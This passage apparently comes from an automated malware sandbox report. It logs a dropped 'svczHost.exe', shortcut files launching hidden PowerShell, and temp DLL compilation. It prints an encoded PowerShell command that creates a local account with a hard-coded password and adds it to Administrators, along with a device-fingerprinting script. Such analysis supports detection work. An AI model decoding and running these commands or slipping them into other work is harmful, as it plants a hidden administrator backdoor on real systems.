wAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline"			Jump to behavior

Source: svczHost.exe.16.dr	Static PE information: section name: .managed
Source: svczHost.exe.16.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F022FD push E95D85C7h; ret	5_2_00007FF848F02349
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F06E78 pushad ; retf	5_2_00007FF848F07031
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F0785E push eax; iretd	5_2_00007FF848F0786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F0782E pushad ; iretd	5_2_00007FF848F0785D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848E0D2A5 pushad ; iretd	10_2_00007FF848E0D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848F27969 push ebx; retf	10_2_00007FF848F2796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848F2106D push eax; iretd	10_2_00007FF848F21071
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF848DFD2A5 pushad ; iretd	16_2_00007FF848DFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF848F18128 push ebx; ret	16_2_00007FF848F1816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF849454E9A push es; ret	16_2_00007FF849454FA7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FF848F2795F push ebx; retf	35_2_00007FF848F2796A

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.dll			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
